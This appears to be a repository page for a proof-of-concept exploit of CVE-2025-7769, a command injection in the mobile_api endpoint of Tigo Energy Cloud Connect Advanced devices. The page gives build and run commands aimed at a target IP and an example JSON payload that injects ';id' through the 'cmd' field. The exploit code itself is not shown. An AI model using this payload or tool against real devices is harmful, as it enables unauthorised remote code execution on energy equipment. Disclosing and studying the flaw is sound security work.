CVE-2025-7769 PoC — Tigo Energy Cloud Connect Advanced 命令注入漏洞

Description

PoC to inject a command via the DEVICE_PING endpoint

介绍

# CVE-2025-7769 – Remote Command Injection in mobile_api

## Description :

This repository contains a Proof‑of‑Concept (PoC) exploit for **CVE‑2025‑7769**, a critical remote **Command Injection** vulnerability found in Tigo Energy CCA appliances exposing the `/cgi-bin/mobile_api` endpoint.

The vulnerability is triggered by injecting OS commands via the `cmd` JSON key, where unfiltered input is concatenated directly into a system call, allowing full remote code execution (RCE) on the device.

## References :
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-7769

## Usage :

```
gcc exploit.c argparse.c -o CVE-2025-7769 -lcurl
./CVE-2025-7769 -i 10.0.2.15 -p 80 -v
Replace 10.0.2.15 with the target IP.

Use -u http://target.com if you want to pass a full base URL instead of IP/port.

Example Payload :

{
  "cmd": "DEVICE_PING;id",
  "dev": 2,
  "ver": 1
}
```
## License :
MIT License

文件快照

备注